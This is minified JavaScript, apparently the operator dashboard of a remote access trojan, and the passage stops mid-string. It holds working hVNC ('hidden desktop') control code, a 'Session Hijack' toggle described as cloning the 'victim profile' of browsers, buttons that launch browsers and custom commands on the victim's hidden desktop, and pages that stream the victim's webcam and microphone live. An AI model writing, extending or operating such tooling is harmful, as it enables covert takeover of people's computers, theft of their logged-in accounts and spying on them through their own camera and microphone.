iV(){const{id:e}=qo(),[t]=xx(),n=t.get("mode")==="hvnc"?"hvnc":"vnc",r=n==="hvnc",i=p.useRef(null),a=p.useRef(null),o=p.useRef(null),l=p.useRef(null),c=p.useRef(null),u=p.useRef({x:-1,y:-1}),d=p.useRef(null),f=p.useRef(0),[m,h]=p.useState(!0),[x,g]=p.useState(!0),[y,v]=p.useState(!1),[b,w]=p.useState(60),[j,k]=p.useState(20),[S,N]=p.useState(0),[z,_]=p.useState({w:0,h:0}),[,A]=p.useState(""),[O,P]=p.useState(null),[I,U]=p.useState(!1),[D,M]=p.useState(!1),F=p.useRef(!1),[R,W]=p.useState({w:0,h:0});p.useEffect(()=>{const V=l.current;if(!V)return;const Z=new ResizeObserver(fe=>{const E=fe[0];E&&W({w:E.contentRect.width,h:E.contentRect.height})});return Z.observe(V),()=>Z.disconnect()},[]);const $=p.useMemo(()=>{if(z.w<=0||z.h<=0||R.w<=0||R.h<=0)return null;const V=Math.min(R.w/z.w,R.h/z.h);return{width:Math.floor(z.w*V),height:Math.floor(z.h*V)}},[z,R]),H=p.useRef({x:0,y:0,w:0,h:0}),X=p.useRef(null),se=p.useCallback((V,Z)=>{const fe=a.current;if(!fe)return;X.current||(X.current=fe.getContext("2d"));const E=X.current;if(!E)return;const oe=H.current;if(oe.w>0&&E.clearRect(oe.x,oe.y,oe.w,oe.h),V<0||Z<0){H.current={x:0,y:0,w:0,h:0};return}H.current={x:V-1,y:Z-1,w:16,h:24},E.save(),E.beginPath(),E.moveTo(V,Z),E.lineTo(V,Z+18),E.lineTo(V+5,Z+14),E.lineTo(V+9,Z+21),E.lineTo(V+12,Z+20),E.lineTo(V+8,Z+13),E.lineTo(V+13,Z+12),E.closePath(),E.fillStyle="white",E.fill(),E.strokeStyle="black",E.lineWidth=1,E.stroke(),E.restore()},[]),ue=p.useCallback((V,Z)=>{const fe=a.current;if(!fe)return;const E=fe.getContext("2d");E&&(E.save(),E.beginPath(),E.arc(V,Z,12,0,Math.PI*2),E.strokeStyle="rgba(6, 182, 212, 0.7)",E.lineWidth=2,E.stroke(),E.restore(),d.current&&clearTimeout(d.current),d.current=window.setTimeout(()=>{se(u.current.x,u.current.y)},150))},[se]),ge=p.useCallback((V,Z,fe,E,oe)=>{F.current||(F.current=!0,M(!0)),_({w:Z,h:fe});const J=i.current;if(!J)return;const pe=J.getContext("2d");if(!pe)return;(J.width!==Z||J.height!==fe)&&(J.width=Z,J.height=fe);const be=a.current;if(be&&(be.width!==Z||be.height!==fe)&&(be.width=Z,be.height=fe,X.current=null),typeof V=="string"){const ke=c.current||new Image;c.current=ke,ke.onload=()=>{pe.drawImage(ke,0,0)},ke.src=V}else V instanceof ImageBitmap?(pe.drawImage(V,0,0),V.close()):pe.drawImage(V,0,0)},[r]),xe=p.useCallback(()=>{},[]),{isConnected:Y,stats:ee,controls:C,connect:K,disconnect:ne}=pv({agentId:e||"",mode:n,onFrame:ge,onDisconnect:xe});p.useEffect(()=>{e&&K()},[e,K]);const B=p.useCallback(V=>{const Z=a.current,fe=i.current;if(!Z||!fe||z.w===0)return{x:0,y:0};const E=Z.getBoundingClientRect(),oe=fe.width/E.width,J=fe.height/E.height;return{x:Math.min(Math.max(Math.round((V.clientX-E.left)*oe),0),fe.width-1),y:Math.min(Math.max(Math.round((V.clientY-E.top)*J),0),fe.height-1)}},[z]),ie=p.useCallback(V=>{if(!m||y)return;const{x:Z,y:fe}=B(V);u.current={x:Z,y:fe};const E=performance.now();E-f.current>=33&&(f.current=E,C.sendMouseMove(Z,fe)),se(Z,fe)},[m,y,B,C,se]),ve=p.useCallback(V=>{if(!m||y)return;const{x:Z,y:fe}=B(V);C.sendMouseButton(V.button,1,Z,fe),ue(Z,fe)},[m,y,B,C,ue]),we=p.useCallback(V=>{if(!m||y)return;const{x:Z,y:fe}=B(V);C.sendMouseButton(V.button,0,Z,fe)},[m,y,B,C]),_e=p.useCallback(V=>{if(!m||y)return;const{x:Z,y:fe}=B(V),E=V.deltaY>0?-120:120;C.sendMouseScroll(E,Z,fe)},[m,y,B,C]);p.useEffect(()=>{if(!x||y)return;const V=(E,oe)=>{E.preventDefault(),E.stopPropagation();const J=E.keyCode||0;C.sendKey(oe,J,0)},Z=E=>V(E,1),fe=E=>V(E,0);return window.addEventListener("keydown",Z,!0),window.addEventListener("keyup",fe,!0),()=>{window.removeEventListener("keydown",Z,!0),window.removeEventListener("keyup",fe,!0)}},[x,y,C]),p.useEffect(()=>{C.setViewOnly(y)},[y,C]);const L=p.useCallback(V=>{w(V),C.setQuality(V)},[C]),de=p.useCallback(async()=>{try{const V=await navigator.clipboard.readText();V&&C.sendClipboard(V)}catch{}},[C]),q=p.useCallback(()=>{var V,Z;(Z=(V=o.current)==null?void 0:V.requestFullscreen)==null||Z.call(V)},[]),te=p.useCallback(async()=>{if(ne(),e)try{r?await VE(e):await UE(e)}catch{}window.close()},[e,ne,r]),me=p.useCallback(async V=>{if(!(!e||!V.trim())){P(null);try{await HE(e,V.trim(),I),P(`Launched ${V.trim()}${I?" (hijack)":""}`),A(""),setTimeout(()=>P(null),3e3)}catch(Z){P(`Failed: ${Z instanceof Error?Z.message:"unknown"}`)}}},[e,I]);return s.jsxs("div",{ref:o,className:"h-screen w-screen flex flex-col select-none overflow-hidden",style:{background:"#09090B",color:"#FAFAFA"},children:[s.jsxs("div",{className:"flex items-center gap-4 px-4 py-1 shrink-0 font-mono",style:{fontSize:"10px",background:"#111113",borderBottom:"1px solid #1F1F23"},children:[s.jsx("span",{className:"font-display font-bold tracking-[0.2em] uppercase",style:{color:"#0891B2",fontSize:"9px"},children:r?"HIDDEN DESKTOP":"LIVE DESKTOP"}),s.jsx("span",{style:{color:"#27272A"},children:"|"}),s.jsxs("span",{style:{color:"#52525B"},children:[s.jsx("span",{style:{color:"#0891B2"},children:ee.frameCount})," frames"]}),ee.totalTiles>0&&s.jsxs(s.Fragment,{children:[s.jsx("span",{style:{color:"#27272A"},children:"|"}),s.jsxs("span",{style:{color:"#52525B"},children:[s.jsx("span",{style:{color:"#0891B2"},children:ee.dirtyTiles}),"/",ee.totalTiles," tiles"]})]}),s.jsx("span",{style:{color:"#27272A"},children:"|"}),s.jsx("span",{style:{color:"#52525B"},children:e?e.slice(0,8):"—"}),s.jsx("div",{className:"flex-1"}),s.jsxs("div",{className:"flex items-center gap-1.5",children:[s.jsx("div",{className:"w-1 h-1 rounded-full",style:{background:m?"#06B6D4":"#27272A"},title:"Mouse"}),s.jsx("div",{className:"w-1 h-1 rounded-full",style:{background:x?"#06B6D4":"#27272A"},title:"Keyboard"}),s.jsx("div",{className:"w-1 h-1 rounded-full",style:{background:y?"#EF4444":"#27272A"},title:"View Only"})]})]}),O&&s.jsx("div",{className:"absolute bottom-12 left-1/2 -translate-x-1/2 z-40 px-4 py-2 font-mono animate-fade-in",style:{fontSize:"11px",background:"#111113",border:`1px solid ${O.startsWith("Failed")?"rgba(239,68,68,0.3)":"rgba(6, 182, 212, 0.25)"}`,color:O.startsWith("Failed")?"#EF4444":"#06B6D4"},children:O}),s.jsxs("div",{ref:l,className:"flex-1 flex items-center justify-center overflow-hidden relative",style:{background:"#09090B"},children:[Y&&s.jsxs("div",{className:"relative",style:{width:$?$.width:void 0,height:$?$.height:void 0,display:D?"block":"none"},children:[s.jsx("canvas",{ref:i,style:{width:"100%",height:"100%",display:"block"}}),s.jsx("canvas",{ref:a,onMouseMove:ie,onMouseDown:ve,onMouseUp:we,onWheel:_e,onContextMenu:V=>V.preventDefault(),style:{position:"absolute",top:0,left:0,width:"100%",height:"100%",cursor:m&&!y?"none":"default"}})]}),(!Y||!D)&&s.jsx("div",{className:"absolute inset-0 flex flex-col items-center justify-center",children:s.jsxs("div",{className:"relative z-10 flex flex-col items-center gap-6",children:[s.jsx("div",{className:"w-10 h-10 border-2 rounded-full animate-spin",style:{borderColor:"rgba(6, 182, 212, 0.15)",borderTopColor:"#06B6D4"}}),s.jsxs("div",{className:"flex flex-col items-center gap-2",children:[s.jsx("span",{className:"font-display font-medium tracking-wide",style:{fontSize:"13px",color:"#A1A1AA"},children:Y?r?"Initializing hidden desktop...":"Waiting for frame...":"Connecting to agent..."}),s.jsx("div",{className:"flex items-center gap-1",children:[0,1,2].map(V=>s.jsx("div",{className:"w-1 h-1 rounded-full animate-pulse-dot",style:{background:"#06B6D4",animationDelay:`${V*.3}s`}},V))})]})]})})]}),s.jsxs("div",{className:"flex items-center gap-1 px-3 py-1.5 shrink-0",style:{background:"#111113",borderTop:"1px solid #1F1F23"},children:[s.jsxs("div",{className:"flex items-center gap-1.5 px-2.5 py-1 mr-1",style:{background:"rgba(6, 182, 212, 0.08)",border:"1px solid rgba(6, 182, 212, 0.18)"},children:[s.jsx("div",{className:"w-1.5 h-1.5 rounded-full animate-pulse-dot",style:{background:"#06B6D4",boxShadow:"0 0 6px rgba(6, 182, 212, 0.6)"}}),s.jsx("span",{className:"font-display font-bold tracking-[0.15em] uppercase",style:{color:"#06B6D4",fontSize:"10px"},children:r?"hVNC":"VNC"})]}),s.jsxs("div",{className:"flex items-center gap-1.5 px-2 py-1",children:[s.jsx("div",{className:"w-1.5 h-1.5 rounded-full",style:{background:Y?"#22C55E":"#EF4444",boxShadow:Y?"0 0 6px rgba(34,197,94,0.5)":"none"}}),s.jsx("span",{className:"font-mono",style:{fontSize:"10px",color:"#52525B"},children:Y?"LIVE":"OFFLINE"})]}),s.jsx(Bs,{}),s.jsxs("div",{className:"flex items-center gap-1.5 px-2 py-1",children:[s.jsx("span",{className:"font-mono",style:{fontSize:"10px",color:"#52525B"},children:"FPS"}),s.jsx("span",{className:"font-mono tabular-nums",style:{fontSize:"10px",color:"#06B6D4"},children:ee.fps})]}),s.jsx(Bs,{}),s.jsxs("div",{className:"flex items-center gap-2 px-2 py-1",children:[s.jsx("span",{className:"font-mono",style:{fontSize:"10px",color:"#52525B"},children:"Q"}),s.jsx("input",{type:"range",min:10,max:100,step:5,value:b,onChange:V=>L(Number(V.target.value)),className:"w-16 h-[3px] appearance-none rounded-full outline-none",style:{background:"#27272A",accentColor:"#06B6D4"}}),s.jsx("span",{className:"font-mono tabular-nums",style:{fontSize:"10px",color:"#52525B"},children:b})]}),s.jsxs("div",{className:"flex items-center gap-2 px-2 py-1",children:[s.jsx("span",{className:"font-mono",style:{fontSize:"10px",color:"#52525B"},children:"FPS"}),s.jsx("input",{type:"range",min:5,max:60,step:5,value:j,onChange:V=>{const Z=Number(V.target.value);k(Z),C.sendControl(2,Z)},className:"w-14 h-[3px] appearance-none rounded-full outline-none",style:{background:"#27272A",accentColor:"#06B6D4"}}),s.jsx("span",{className:"font-mono tabular-nums",style:{fontSize:"10px",color:"#52525B"},children:j})]}),s.jsx("div",{className:"flex items-center gap-1.5 px-2 py-1",children:s.jsxs("select",{value:S,onChange:V=>{const Z=Number(V.target.value);N(Z),C.sendControl(3,Z)},className:"font-mono bg-transparent border border-zinc-700 rounded px-1 py-0.5 outline-none",style:{fontSize:"10px",color:"#A1A1AA"},children:[s.jsx("option",{value:0,children:"Auto"}),s.jsx("option",{value:1,children:"DXGI"}),s.jsx("option",{value:2,children:"GDI"})]})}),s.jsx(Bs,{}),s.jsx(jp,{label:"MOUSE",active:m,onClick:()=>h(!m),icon:s.jsx(aV,{})}),s.jsx(jp,{label:"KEYS",active:x,onClick:()=>g(!x),icon:s.jsx(sV,{})}),s.jsx(jp,{label:"VIEW",active:y,onClick:()=>v(!y),icon:s.jsx(oV,{})}),s.jsx(Bs,{}),s.jsx(T2,{onClick:de,title:"Sync clipboard",children:s.jsx(lV,{})}),s.jsx(T2,{onClick:q,title:"Fullscreen",children:s.jsx(cV,{})}),r&&s.jsxs(s.Fragment,{children:[s.jsx(Bs,{}),s.jsxs("button",{onClick:()=>U(V=>!V),className:"flex items-center gap-1.5 px-2 py-1 rounded transition-colors",title:I?"Session Hijack: ON — browsers clone victim profile":"Session Hijack: OFF — browsers use empty profile",style:{color:I?"#22D3EE":"#52525B",background:I?"rgba(6, 182, 212, 0.12)":"transparent",border:I?"1px solid rgba(6, 182, 212, 0.3)":"1px solid transparent"},children:[s.jsx("svg",{viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:1.5,className:"w-3.5 h-3.5",children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M15.75 5.25a3 3 0 013 3m3 0a6 6 0 01-7.029 5.912c-.563-.097-1.159.026-1.563.43L10.5 17.25H8.25v2.25H6v2.25H2.25v-2.818c0-.597.237-1.17.659-1.591l6.499-6.499c.404-.404.527-1 .43-1.563A6 6 0 1121.75 8.25z"})}),s.jsx("span",{className:"font-mono",style:{fontSize:"10px"},children:"Hijack"})]}),rV.map(V=>s.jsxs("button",{onClick:()=>me(V.cmd),className:"flex items-center gap-1.5 px-2 py-1 transition-colors",style:{color:"#A1A1AA"},title:`Launch ${V.label}`,onMouseEnter:Z=>{Z.currentTarget.style.color="#06B6D4",Z.currentTarget.style.background="rgba(6, 182, 212, 0.08)"},onMouseLeave:Z=>{Z.currentTarget.style.color="#A1A1AA",Z.currentTarget.style.background="transparent"},children:[V.icon,s.jsx("span",{className:"font-mono",style:{fontSize:"10px"},children:V.label})]},V.cmd)),s.jsxs("button",{onClick:()=>{const V=prompt("Command to launch on hidden desktop:");V&&me(V)},className:"flex items-center gap-1 px-2 py-1 transition-colors",style:{color:"#52525B"},title:"Run custom command",onMouseEnter:V=>{V.currentTarget.style.color="#A1A1AA",V.currentTarget.style.background="rgba(6, 182, 212, 0.06)"},onMouseLeave:V=>{V.currentTarget.style.color="#52525B",V.currentTarget.style.background="transparent"},children:[s.jsx("svg",{viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:1.5,className:"w-3.5 h-3.5",children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M6.75 7.5l3 2.25-3 2.25m4.5 0h3m-9 8.25h13.5A2.25 2.25 0 0021 18V6a2.25 2.25 0 00-2.25-2.25H5.25A2.25 2.25 0 003 6v12a2.25 2.25 0 002.25 2.25z"})}),s.jsx("span",{className:"font-mono",style:{fontSize:"10px"},children:"Run"})]})]}),s.jsx("div",{className:"flex-1"}),s.jsx("span",{className:"font-mono tabular-nums mr-2",style:{fontSize:"10px",color:"#52525B"},children:z.w>0?`${z.w}×${z.h}`:"—"}),s.jsxs("button",{onClick:te,className:"flex items-center gap-1.5 px-3 py-1 font-mono font-medium tracking-wide transition-colors group",style:{fontSize:"10px",color:"#EF4444",background:"rgba(239, 68, 68, 0.06)",border:"1px solid rgba(239, 68, 68, 0.15)"},onMouseEnter:V=>{V.currentTarget.style.background="rgba(239, 68, 68, 0.12)",V.currentTarget.style.borderColor="rgba(239, 68, 68, 0.3)"},onMouseLeave:V=>{V.currentTarget.style.background="rgba(239, 68, 68, 0.06)",V.currentTarget.style.borderColor="rgba(239, 68, 68, 0.15)"},children:[s.jsx("svg",{className:"w-3 h-3 group-hover:rotate-90 transition-transform",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M6 18L18 6M6 6l12 12"})}),"DISCONNECT"]})]})]})}function Bs(){return s.jsx("div",{className:"w-px h-4 mx-0.5",style:{background:"rgba(31, 31, 35, 0.8)"}})}function jp({label:e,active:t,onClick:n,icon:r}){return s.jsxs("button",{onClick:n,className:"flex items-center gap-1.5 px-2 py-1 font-mono tracking-wide transition-colors",style:{fontSize:"10px",color:t?"#06B6D4":"#52525B",background:t?"rgba(6, 182, 212, 0.08)":"transparent",border:`1px solid ${t?"rgba(6, 182, 212, 0.18)":"transparent"}`},title:e,children:[r,e]})}function T2({onClick:e,title:t,children:n}){return s.jsx("button",{onClick:e,className:"flex items-center gap-1 px-2 py-1 transition-colors",style:{color:"#52525B"},title:t,onMouseEnter:r=>{r.currentTarget.style.color="#A1A1AA"},onMouseLeave:r=>{r.currentTarget.style.color="#52525B"},children:n})}function aV(){return s.jsx("svg",{className:"w-3 h-3",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M15.042 21.672L13.684 16.6m0 0l-2.51 2.225.569-9.47 5.227 7.917-3.286-.672zM12 2.25V4.5m5.834.166l-1.591 1.591M20.25 10.5H18M7.757 14.743l-1.59 1.59M6 10.5H3.75m4.007-4.243l-1.59-1.59"})})}function sV(){return s.jsx("svg",{className:"w-3 h-3",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M3.75 9h16.5m-16.5 6.75h16.5"})})}function oV(){return s.jsxs("svg",{className:"w-3 h-3",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:[s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M2.036 12.322a1.012 1.012 0 010-.639C3.423 7.51 7.36 4.5 12 4.5c4.638 0 8.573 3.007 9.963 7.178.07.207.07.431 0 .639C20.577 16.49 16.64 19.5 12 19.5c-4.638 0-8.573-3.007-9.963-7.178z"}),s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M15 12a3 3 0 11-6 0 3 3 0 016 0z"})]})}function lV(){return s.jsx("svg",{className:"w-3 h-3",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M15.666 3.888A2.25 2.25 0 0013.5 2.25h-3c-1.03 0-1.9.693-2.166 1.638m7.332 0c.055.194.084.4.084.612v0a.75.75 0 01-.75.75H9.75a.75.75 0 01-.75-.75v0c0-.212.03-.418.084-.612m7.332 0c.646.049 1.288.11 1.927.184 1.1.128 1.907 1.077 1.907 2.185V19.5a2.25 2.25 0 01-2.25 2.25H6.75A2.25 2.25 0 014.5 19.5V6.257c0-1.108.806-2.057 1.907-2.185a48.208 48.208 0 011.927-.184"})})}function cV(){return s.jsx("svg",{className:"w-3 h-3",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M3.75 3.75v4.5m0-4.5h4.5m-4.5 0L9 9M3.75 20.25v-4.5m0 4.5h4.5m-4.5 0L9 15M20.25 3.75h-4.5m4.5 0v4.5m0-4.5L15 9m5.25 11.25h-4.5m4.5 0v-4.5m0 4.5L15 15"})})}function uV(){const{id:e}=qo(),t=p.useRef(null),n=p.useRef(null),r=p.useRef(null),[i,a]=p.useState(!1),o=p.useRef(!1),[l,c]=p.useState({w:0,h:0}),u=p.useCallback((g,y,v)=>{o.current||(o.current=!0,a(!0)),c({w:y,h:v});const b=t.current;if(!b)return;const w=b.getContext("2d");if(w)if((b.width!==y||b.height!==v)&&(b.width=y,b.height=v),typeof g=="string"){const j=n.current||new Image;n.current=j,j.onload=()=>{w.drawImage(j,0,0)},j.src=g}else g instanceof ImageBitmap?(w.drawImage(g,0,0),g.close()):w.drawImage(g,0,0)},[]),{isConnected:d,stats:f,connect:m,disconnect:h}=pv({agentId:e||"",mode:"webcam",onFrame:u});p.useEffect(()=>{e&&m()},[e,m]),p.useEffect(()=>()=>{r.current&&URL.revokeObjectURL(r.current)},[]);const x=p.useCallback(async()=>{if(h(),e)try{await KE(e)}catch{}window.close()},[e,h]);return s.jsxs("div",{className:"h-screen w-screen flex flex-col select-none overflow-hidden",style:{background:"#09090B",color:"#FAFAFA"},children:[s.jsxs("div",{className:"flex items-center gap-1 px-3 py-1.5 shrink-0",style:{background:"#111113",borderBottom:"1px solid #1F1F23"},children:[s.jsxs("div",{className:"flex items-center gap-1.5 px-2.5 py-1 mr-1",style:{background:"rgba(34, 197, 94, 0.08)",border:"1px solid rgba(34, 197, 94, 0.18)"},children:[s.jsx("div",{className:"w-1.5 h-1.5 rounded-full animate-pulse-dot",style:{background:"#22C55E",boxShadow:"0 0 6px rgba(34, 197, 94, 0.6)"}}),s.jsx("span",{className:"font-display font-bold tracking-[0.15em] uppercase",style:{color:"#22C55E",fontSize:"10px"},children:"WEBCAM"})]}),s.jsxs("div",{className:"flex items-center gap-1.5 px-2 py-1",children:[s.jsx("div",{className:"w-1.5 h-1.5 rounded-full",style:{background:d?"#22C55E":"#EF4444",boxShadow:d?"0 0 6px rgba(34,197,94,0.5)":"none"}}),s.jsx("span",{className:"font-mono",style:{fontSize:"10px",color:"#52525B"},children:d?"LIVE":"OFFLINE"})]}),s.jsx("div",{className:"w-px h-4 mx-0.5",style:{background:"rgba(31, 31, 35, 0.8)"}}),s.jsxs("div",{className:"flex items-center gap-1.5 px-2 py-1",children:[s.jsx("span",{className:"font-mono",style:{fontSize:"10px",color:"#52525B"},children:"FPS"}),s.jsx("span",{className:"font-mono tabular-nums",style:{fontSize:"10px",color:"#22C55E"},children:f.fps})]}),s.jsx("div",{className:"flex-1"}),s.jsx("span",{className:"font-mono tabular-nums mr-2",style:{fontSize:"10px",color:"#52525B"},children:l.w>0?`${l.w}×${l.h}`:"—"}),s.jsxs("button",{onClick:x,className:"flex items-center gap-1.5 px-3 py-1 font-mono font-medium tracking-wide transition-colors",style:{fontSize:"10px",color:"#EF4444",background:"rgba(239, 68, 68, 0.06)",border:"1px solid rgba(239, 68, 68, 0.15)"},onMouseEnter:g=>{g.currentTarget.style.background="rgba(239, 68, 68, 0.12)"},onMouseLeave:g=>{g.currentTarget.style.background="rgba(239, 68, 68, 0.06)"},children:[s.jsx("svg",{className:"w-3 h-3",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M6 18L18 6M6 6l12 12"})}),"DISCONNECT"]})]}),s.jsxs("div",{className:"flex-1 flex items-center justify-center overflow-hidden",style:{background:"#09090B"},children:[d&&i&&s.jsx("canvas",{ref:t,style:{maxWidth:"100%",maxHeight:"100%",objectFit:"contain"}}),(!d||!i)&&s.jsxs("div",{className:"flex flex-col items-center gap-6",children:[s.jsx("div",{className:"w-10 h-10 border-2 rounded-full animate-spin",style:{borderColor:"rgba(34, 197, 94, 0.15)",borderTopColor:"#22C55E"}}),s.jsx("span",{className:"font-display font-medium tracking-wide",style:{fontSize:"13px",color:"#A1A1AA"},children:d?"Waiting for webcam feed...":"Connecting to agent..."})]})]}),s.jsxs("div",{className:"flex items-center gap-4 px-4 py-1 shrink-0 font-mono",style:{fontSize:"10px",background:"#111113",borderTop:"1px solid #1F1F23"},children:[s.jsx("span",{className:"font-display font-bold tracking-[0.2em] uppercase",style:{color:"#16A34A",fontSize:"9px"},children:"WEBCAM FEED"}),s.jsx("span",{style:{color:"#27272A"},children:"|"}),s.jsxs("span",{style:{color:"#52525B"},children:[s.jsx("span",{style:{color:"#22C55E"},children:f.frameCount})," frames"]}),s.jsx("span",{style:{color:"#27272A"},children:"|"}),s.jsx("span",{style:{color:"#52525B"},children:e?e.slice(0,8):"—"})]})]})}function dV({agentId:e,onDisconnect:t}){const n=p.useRef(null),r=p.useRef(null),i=p.useRef(0),[a,o]=p.useState(!1),[l,c]=p.useState(!1),u=p.useRef(!1),[d,f]=p.useState({chunkCount:0,sampleRate:0}),m=p.useCallback(()=>{if(n.current)return;const g=rt();if(!g)return;const v=`${window.location.protocol==="https:"?"wss:":"ws:"}//${window.location.host}/api/mic/${e}/ws?token=${encodeURIComponent(g)}`,b=new WebSocket(v);b.binaryType="arraybuffer",n.current=b,b.onopen=()=>{o(!0),r.current||(r.current=new AudioContext({sampleRate:16e3})),i.current=0},b.onmessage=w=>{if(!(w.data instanceof ArrayBuffer))return;const j=new DataView(w.data);if(w.data.byteLength<12)return;const k=j.getUint16(0,!0),S=j.getUint8(2),N=j.getUint8(3),z=12,_=w.data.byteLength-z;if(f(M=>({chunkCount:M.chunkCount+1,sampleRate:k})),u.current)return;const A=r.current;if(!A||A.state==="closed")return;A.state==="suspended"&&A.resume();const O=_/(S/8)/N,P=A.createBuffer(N,O,k),I=new DataView(w.data,z);for(let M=0;M{o(!1),n.current=null,t==null||t()},b.onerror=()=>{b.close()}},[e,t]),h=p.useCallback(()=>{n.current&&(n.current.close(),n.current=null),o(!1)},[]),x=p.useCallback(()=>{c(g=>(u.current=!g,!g))},[]);return p.useEffect(()=>()=>{n.current&&(n.current.close(),n.current=null),r.current&&r.current.state!=="closed"&&r.current.close()},[]),{isConnected:a,isMuted:l,stats:d,connect:m,disconnect:h,toggleMute:x}}function fV(){const{id:e}=qo(),{isConnected:t,isMuted:n,stats:r,connect:i,disconnect:a,toggleMute:o}=dV({agentId:e||""});p.useEffect(()=>{e&&i()},[e,i]);const l=p.useCallback(async()=>{if(a(),e)try{await qE(e)}catch{}window.close()},[e,a]);return s.jsxs("div",{className:"h-screen w-screen flex flex-col select-none overflow-hidden",style:{background:"#09090B",color:"#FAFAFA"},children:[s.jsxs("div",{className:"flex items-center gap-1 px-3 py-1.5 shrink-0",style:{background:"#111113",borderBottom:"1px solid #1F1F23"},children:[s.jsxs("div",{className:"flex items-center gap-1.5 px-2.5 py-1 mr-1",style:{background:"rgba(168, 85, 247, 0.08)",border:"1px solid rgba(168, 85, 247, 0.18)"},children:[s.jsx("div",{className:"w-1.5 h-1.5 rounded-full animate-pulse-dot",style:{background:"#A855F7",boxShadow:"0 0 6px rgba(168, 85, 247, 0.6)"}}),s.jsx("span",{className:"font-display font-bold tracking-[0.15em] uppercase",style:{color:"#A855F7",fontSize:"10px"},children:"MICROPHONE"})]}),s.jsxs("div",{className:"flex items-center gap-1.5 px-2 py-1",children:[s.jsx("div",{className:"w-1.5 h-1.5 rounded-full",style:{background:t?"#22C55E":"#EF4444",boxShadow:t?"0 0 6px rgba(34,197,94,0.5)":"none"}}),s.jsx("span",{className:"font-mono",style:{fontSize:"10px",color:"#52525B"},children:t?"LIVE":"OFFLINE"})]}),s.jsx("div",{className:"w-px h-4 mx-0.5",style:{background:"rgba(31, 31, 35, 0.8)"}}),s.jsxs("button",{onClick:o,className:"flex items-center gap-1.5 px-2 py-1 font-mono tracking-wide transition-colors",style:{fontSize:"10px",color:n?"#EF4444":"#A855F7",background:n?"rgba(239, 68, 68, 0.08)":"rgba(168, 85, 247, 0.08)",border:`1px solid ${n?"rgba(239, 68, 68, 0.18)":"rgba(168, 85, 247, 0.18)"}`},children:[n?s.jsx("svg",{className:"w-3 h-3",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M17.25 9.75L19.5 12m0 0l2.25 2.25M19.5 12l2.25-2.25M19.5 12l-2.25 2.25m-10.5-6l4.72-4.72a.75.75 0 011.28.53v15.88a.75.75 0 01-1.28.53l-4.72-4.72H4.51c-.88 0-1.704-.507-1.938-1.354A9.01 9.01 0 012.25 12c0-.83.112-1.633.322-2.396C2.806 8.756 3.63 8.25 4.51 8.25H6.75z"})}):s.jsx("svg",{className:"w-3 h-3",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M19.114 5.636a9 9 0 010 12.728M16.463 8.288a5.25 5.25 0 010 7.424M6.75 8.25l4.72-4.72a.75.75 0 011.28.53v15.88a.75.75 0 01-1.28.53l-4.72-4.72H4.51c-.88 0-1.704-.507-1.938-1.354A9.01 9.01 0 012.25 12c0-.83.112-1.633.322-2.396C2.806 8.756 3.63 8.25 4.51 8.25H6.75z"})}),n?"MUTED":"AUDIO"]}),s.jsx("div",{className:"flex-1"}),s.jsxs("button",{onClick:l,className:"flex items-center gap-1.5 px-3 py-1 font-mono font-medium tracking-wide transition-colors",style:{fontSize:"10px",color:"#EF4444",background:"rgba(239, 68, 68, 0.06)",border:"1px solid rgba(239, 68, 68, 0.15)"},onMouseEnter:c=>{c.currentTarget.style.background="rgba(239, 68, 68, 0.12)"},onMouseLeave:c=>{c.currentTarget.style.background="rgba(239, 68, 68, 0.06)"},children:[s.jsx("svg",{className:"w-3 h-3",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M6 18L18 6M6 6l12 12"})}),"DISCONNECT"]})]}),s.jsx("div",{className:"flex-1 flex items-center justify-center",style:{background:"#09090B"},children:s.jsxs("div",{className:"flex flex-col items-center gap-8",children:[s.jsxs("div",{className:"relative",children:[s.jsx("div",{className:"w-24 h-24 rounded-full flex items-center justify-center",style:{background:t?"rgba(168, 85, 247, 0.08)":"rgba(63, 63, 70, 0.2)",border:`2px solid ${t?"rgba(168, 85, 247, 0.25)":"rgba(63, 63, 70, 0.3)"}`},children:s.jsx("svg",{className:"w-10 h-10",fill:"none",viewBox:"0 0 24 24",stroke:t?"#A855F7":"#52525B",strokeWidth:1.5,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M12 18.75a6 6 0 006-6v-1.5m-6 7.5a6 6 0 01-6-6v-1.5m6 7.5v3.75m-3.75 0h7.5M12 15.75a3 3 0 01-3-3V4.5a3 3 0 116 0v8.25a3 3 0 01-3 3z"})})}),t&&!n&&s.jsx(s.Fragment,{children:s.jsx("div",{className:"absolute inset-0 rounded-full animate-ping",style:{background:"rgba(168, 85, 247, 0.1)",animationDuration:"2s"}})})]}),s.jsxs("div",{className:"flex flex-col items-center gap-2",children:[s.jsx("span",{className:"font-display font-medium tracking-wide",style:{fontSize:"14px",color:"#A1A1AA"},children:t?n?"Audio 